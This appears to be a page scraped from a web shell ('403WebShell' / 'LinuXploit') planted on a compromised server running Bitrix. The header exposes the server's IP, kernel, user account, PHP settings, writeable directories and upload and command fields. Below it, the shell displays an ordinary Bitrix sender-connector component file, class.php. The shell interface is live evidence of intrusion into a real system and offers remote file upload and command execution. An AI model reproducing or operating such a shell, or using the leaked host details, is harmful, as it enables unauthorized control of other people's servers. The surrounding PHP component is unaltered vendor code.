%PDF- %PDF- 403WebShell
403Webshell
Server IP : 37.220.80.31  /  Your IP : 18.119.139.219
Web Server : Apache/2.4.52 (Ubuntu)
System : Linux 3051455-guretool.twc1.net 5.15.0-107-generic #117-Ubuntu SMP Fri Apr 26 12:26:49 UTC 2024 x86_64
User : www-root ( 1010)
PHP Version : 7.4.33
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /var/www/www-root/data/www/dev.artlot24.ru/bitrix/components/bitrix/sender.connector.result.list/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/www-root/data/www/dev.artlot24.ru/bitrix/components/bitrix/sender.connector.result.list/class.php
<?

use Bitrix\Main\Error;
use Bitrix\Main\ErrorCollection;
use Bitrix\Main\Grid\Options as GridOptions;
use Bitrix\Main\Localization\Loc;
use Bitrix\Main\UI\Filter\Options as FilterOptions;
use Bitrix\Sender\Access\ActionDictionary;
use Bitrix\Sender\Connector;
use Bitrix\Sender\Posting\SegmentDataBuilder;
use Bitrix\Sender\Recipient;
use Bitrix\Sender\UI\PageNavigation;

if (!defined("B_PROLOG_INCLUDED") || B_PROLOG_INCLUDED !== true)
{
	die();
}

if (!Bitrix\Main\Loader::includeModule('sender'))
{
	ShowError('Module `sender` not installed');
	die();
}
Loc::loadMessages(__FILE__);

class SenderConnectorResultListComponent extends Bitrix\Sender\Internals\CommonSenderComponent
{
	/** @var ErrorCollection $errors */
	protected $errors;

	protected function checkRequiredParams()
	{
		if (empty($this->arParams['ENDPOINT']['CODE']))
		{
			$this->errors->setError(new Error('Empty connector endpoint.'));
			return false;
		}
		return true;
	}

	protected function initParams()
	{
		$this->arParams['GRID_ID'] = isset($this->arParams['GRID_ID']) ? $this->arParams['GRID_ID'] : 'SENDER_CONTACT_LIST_GRID';
		$this->arParams['FILTER_ID'] = isset($this->arParams['FILTER_ID']) ? $this->arParams['FILTER_ID'] : $this->arParams['GRID_ID'] . '_FILTER';
		$this->arParams['SET_TITLE'] = isset($this->arParams['SET_TITLE']) ? $this->arParams['SET_TITLE'] === 'Y' : true;

		if (!isset($this->arParams['ENDPOINT']))
		{
			$endpoint = [];
			$code = $this->request->get('code');
			$fields = $this->request->get('fields');
			if ($code)
			{
				$code = explode('_', $code);
				if (!empty($code[0]))
				{
					$endpoint['MODULE_ID'] = $code[0];
				}
				array_shift($code);
				$endpoint['CODE'] = implode('_', $code);
			}
			if ($fields)
			{
				$endpoint['FIELDS'] = \Bitrix\Main\Web\Json::decode($fields);
			}
			$this->arParams['ENDPOINT'] = $endpoint;
		}
	}

	protected function prepareResult()
	{
		/* Set title */
		if ($this->arParams['SET_TITLE'])
		{
			/**@var CAllMain*/
			$GLOBALS['APPLICATION']->SetTitle(Loc::getMessage('SENDER_CONTACT_LIST_TITLE1'));
		}

		$this->arResult['ERRORS'] = array();
		$this->arResult['ROWS'] = array();

		/*
		$endpoint = [
			'MODULE_ID' => 'sender',
			'CODE' => 'crm_client',
			'FIELDS' => [
				'SENDER_SELECT_ALL' => 'Y',
				'BX_PRESET_ID' => 'Y',
				'STATUS_SEMANTIC_ID' => 'P'
			],
		];
		*/
		$endpoint = $this->arParams['ENDPOINT'];
		$connector = Connector\Manager::getConnector($this->arParams['ENDPOINT']);
		if (!$connector || !$connector->isResultViewable())
		{
			$this->errors->setError(new Error('Unsupportable connector.'));
			return false;
		}

		// set ui filter
		$this->setUiFilter();

		// set ui grid columns
		$this->setUiGridColumns();

		// create nav
		$nav = new PageNavigation("page-sender-connector-result-list");
		$nav->allowAllRecords(false)->setPageSize(10)->initFromUri();

		/** @var Connector\Base $connector */
		$connector->getResultView()->modifyColumns($this->arResult['COLUMNS']);
		$connector->getResultView()->modifyFilter($this->arResult['FILTERS']);
		$connector->getResultView()->setNav($nav);
		$title = $connector->getResultView()->getTitle();
		if ($title)
		{
			/**@var CAllMain*/
			$GLOBALS['APPLICATION']->SetTitle($title);
		}


		// get rows
		if (is_array($endpoint['FIELDS']))
		{
			$connector->setFieldValues($endpoint['FIELDS'] + $this->getDataFilter());
			$connector->setDataTypeId($this->getDataTypeId());

			$segmentBuilder = null;
			$groupId = $this->request->get('groupId');
			$filterId = $this->request->get('filterId');
			$isIncrementally = $connector instanceof Connector\IncrementallyConnector && $groupId && $filterId;

			if ($isIncrementally)
			{
				$segmentBuilder = new SegmentDataBuilder(
					$this->request->get('groupId'),
					$this->request->get('filterId'),
					$endpoint
				);
				$this->arResult['BUILDING_COMPLETED'] = $segmentBuilder->isBuildingCompleted();
			}

			$result = !$segmentBuilder
				? $connector->getResult()
				: new Connector\Result(
					$segmentBuilder
						->setDataFilter($this->getDataFilter())
						->getData($nav)
				)
			;

			$result->setDataTypeId($connector->getDataTypeId());
			$fetchedCount = 0;
			while ($item = $result->fetchPlain())
			{
				$connector->getResultView()->onDraw($item);
				$this->arResult['ROWS'][] = $item;
				$fetchedCount++;
				if ($fetchedCount >= $nav->getLimit())
				{
					break;
				}
			}
			$connector->getResultView()->setNav(null);
			$this->arResult['TOTAL_ROWS_COUNT'] = !$segmentBuilder
				? $connector->getDataCount()
				: $segmentBuilder->getDataCount();
		}
		else
		{
			$this->arResult['TOTAL_ROWS_COUNT'] = 0;
		}

		// set rec count to nav
		$nav->setRecordCount($this->arResult['TOTAL_ROWS_COUNT']);
		$this->arResult['NAV_OBJECT'] = $nav;

		return true;
	}

	protected function getDataTypeId()
	{
		$filterOptions = new FilterOptions($this->arParams['FILTER_ID']);
		$requestFilter = $filterOptions->getFilter($this->arResult['FILTERS']);
		if (empty($requestFilter['SENDER_RECIPIENT_TYPE_ID']))
		{
			return null;
		}

		$typeId = (int) $requestFilter['SENDER_RECIPIENT_TYPE_ID'];
		if (!in_array($typeId, Recipient\Type::getList()))
		{
			return null;
		}

		return $typeId ?: null;
	}

	protected function getDataFilter()
	{
		$filterOptions = new FilterOptions($this->arParams['FILTER_ID']);
		$requestFilter = $filterOptions->getFilter($this->arResult['FILTERS']);

		$filter = [];
		foreach ($this->arResult['FILTERS'] as $item)
		{
			if (empty($requestFilter[$item['id']]))
			{
				continue;
			}

			$filter[$item['id']] = $requestFilter[$item['id']];
		}

		return $filter;
	}

	protected function getGridOrder()
	{
		$defaultSort = array('ID' => 'DESC');

		$gridOptions = new GridOptions($this->arParams['GRID_ID']);
		$sorting = $gridOptions->getSorting(array('sort' => $defaultSort));

		$by = key($sorting['sort']);
		$order = mb_strtoupper(current($sorting['sort'])) === 'ASC' ? 'ASC' : 'DESC';

		$list = array();
		foreach ($this->getUiGridColumns() as $column)
		{
			if (!isset($column['sort']) || !$column['sort'])
			{
				continue;
			}

			$list[] = $column['sort'];
		}

		if (!in_array($by, $list))
		{
			return $defaultSort;
		}

		return array($by => $order);
	}

	protected function setUiGridColumns()
	{
		$this->arResult['COLUMNS'] = $this->getUiGridColumns();
	}

	protected function getUiGridColumns()
	{
		return array(
			array(
				"id" => "NAME",
				"name" => Loc::getMessage('SENDER_CONTACT_LIST_UI_COLUMN_NAME'),
				"default" => true
			),
			array(
				"id" => "EMAIL",
				"name" => Loc::getMessage('SENDER_CONTACT_LIST_UI_COLUMN_EMAIL'),
				"default" => true
			),
			array(
				"id" => "PHONE",
				"name" => Loc::getMessage('SENDER_CONTACT_LIST_UI_COLUMN_PHONE'),
				"default" => true
			),
		);
	}

	protected function setUiFilter()
	{
		$this->arResult['FILTERS'] = array(
			array(
				"id" => "NAME",
				"name" => Loc::getMessage('SENDER_CONTACT_LIST_UI_COLUMN_NAME'),
				"default" => true,
			),
			array(
				"id" => "EMAIL",
				"name" => Loc::getMessage('SENDER_CONTACT_LIST_UI_COLUMN_EMAIL'),
				"default" => true,
			),
			array(
				"id" => "PHONE",
				"name" => Loc::getMessage('SENDER_CONTACT_LIST_UI_COLUMN_PHONE'),
				"default" => true,
			),
			array(
				"id" => "SENDER_RECIPIENT_TYPE_ID",
				"name" => Loc::getMessage('SENDER_CONTACT_LIST_UI_COLUMN_RECIPIENT_TYPE_ID'),
				"default" => true,
				"type" => "list",
				"items" => Recipient\Type::getNamedList()
			),
		);
	}

	protected function printErrors()
	{
		foreach ($this->errors as $error)
		{
			ShowError($error);
		}
	}
	
	public function executeComponent()
	{
		parent::executeComponent();
		parent::prepareResultAndTemplate();
	}
	
	public function getEditAction()
	{
		return ActionDictionary::ACTION_SEGMENT_CLIENT_VIEW;
	}
	
	public function getViewAction()
	{
		return ActionDictionary::ACTION_SEGMENT_CLIENT_VIEW;
	}
}

Youez - 2016 - github.com/yon3zu
LinuXploit